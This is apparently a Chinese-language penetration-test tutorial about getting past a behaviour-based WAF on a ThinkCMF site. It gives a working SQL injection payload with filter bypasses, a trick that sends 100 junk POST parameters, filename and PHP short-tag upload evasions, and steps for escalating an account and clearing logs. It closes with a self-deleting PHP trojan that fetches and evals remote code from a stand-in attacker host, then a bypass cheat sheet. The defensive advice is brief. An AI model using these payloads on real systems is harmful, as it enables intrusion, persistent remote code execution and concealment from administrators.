与某WAF斗智斗勇的每一天
字数 1626 2025-08-15 21:31:50
与某WAF斗智斗勇的渗透测试实战教学文档
0x00 前言
本文记录了一次针对部署了高级WAF系统的渗透测试过程,展示了如何逐步绕过WAF防护并最终获取系统权限的技术细节。目标系统基于ThinkCMF框架,部署了基于特征+行为检测的WAF防护系统。
0x01 初始信息收集
1.1 目标系统概况
- 框架: ThinkCMF
- 中间件: Nginx
- 操作系统: Linux
- 防护系统: 基于特征+行为检测的WAF
- 其他特征: 开启了ThinkPHP的SQL调试模式
1.2 初始发现
- 发现伪静态参数单引号报错漏洞
- 报错信息包含:
- 完整SQL语句
- 配置文件内容(含数据库凭证)
- 当前库名表名
- 当前用户完整信息
0x02 SQL注入绕过技术
2.1 WAF检测特征分析
-
过滤规则:
- 过滤
union select→ 使用union distinct select绕过 - 过滤
select后的空格 → 用引号包裹参数不加空格 - 过滤
from后的空格 → 使用科学计数法不加空格 - 过滤
information_schema→ 未绕过(但通过报错已获取表名)
- 过滤
-
最终有效Payload:
https://www.example.com/a/b/c/id/1) uNiondistinct (select'1',username,password,3e0from{x user}order by 1 limit 0,1.0
2.2 旁站利用技术
- 发现旁站B站存在后台弱口令漏洞
- 利用后台SQL查询功能:
- POST型WAF绕过: 传递100个垃圾参数后,第101个参数不受检测
- 获取数据库root权限(但受文件读写限制)
2.3 数据库连接测试技巧
使用数据库测试连接功能探测真实IP:
- 在VPS上使用nc监听端口
- 通过测试连接功能发送请求
- 从nc接收到的连接获取IP地址
0x03 后台渗透技术
3.1 后台发现
- 从数据库系统配置表中获取加密后台地址字符串
- 直接拼接到URL后访问成功
3.2 隐蔽登录技术
-
XSS盲打尝试:
- 修改登录日志为窃取cookie的JS代码
- 失败(日志被管理员清除)
-
权限提升+快速清理:
- 将普通用户提权为管理员
- 提前准备清理单条日志的SQL语句
- 快速登录并执行清理操作
0x04 文件上传绕过技术
4.1 WAF上传检测机制
- 文件后缀名检测(php/php2/php3等)
- 文件内容检测(<?php标签)
4.2 绕过方法
- 后缀名绕过:
filename==="shell';.php" - 内容绕过:
- 使用PHP短标签
<??> - 避免使用
<?php标签
- 使用PHP短标签
4.3 WAF行为学习机制
- 初次上传大马可用约30分钟
- 第二次上传后约10分钟被杀
- 第三次上传后1分钟内被杀
- 最终导致旁站SQL查询功能也被拦截
0x05 高级绕过技术思考
5.1 代理池隐蔽技术
- 构造大量正常访问流量
- 将恶意流量混入其中
- 降低恶意流量比例避免触发WAF模型
5.2 加密返回报文
- 修改冰蝎等工具去除流量特征
- 完全加密返回包内容
- 防止WAF基于返回内容的特征匹配
5.3 无文件木马技术
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file ='http://www.evilsite.com/eval.txt';
while($code =file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
0x06 总结与防御建议
6.1 渗透测试关键点
- 充分利用系统报错信息
- 多角度测试WAF过滤规则
- 利用旁站弱点迂回攻击
- 注意WAF的行为学习特性
- 保持操作隐蔽性
6.2 防御建议
- 关闭不必要的调试信息
- 实现多因素认证防止弱口令
- 监控和限制数据库操作
- 实施严格的权限分离
- 定期审计和更新WAF规则
附录:技术要点速查表
| 技术类别 | 绕过方法 | 适用场景 |
|---|---|---|
| SQL注入 | union distinct select |
WAF过滤union select |
| SQL注入 | 科学计数法绕过空格 | WAF过滤from后空格 |
| POST绕过 | 100+垃圾参数 | POST型WAF检测 |
| 文件上传 | 引号分号混淆后缀 | 后缀名检测 |
| 文件上传 | PHP短标签 | 内容检测 |
| 隐蔽连接 | 代理池/流量混淆 | 行为检测 |
| 持久化 | 无文件木马 | 文件检测 |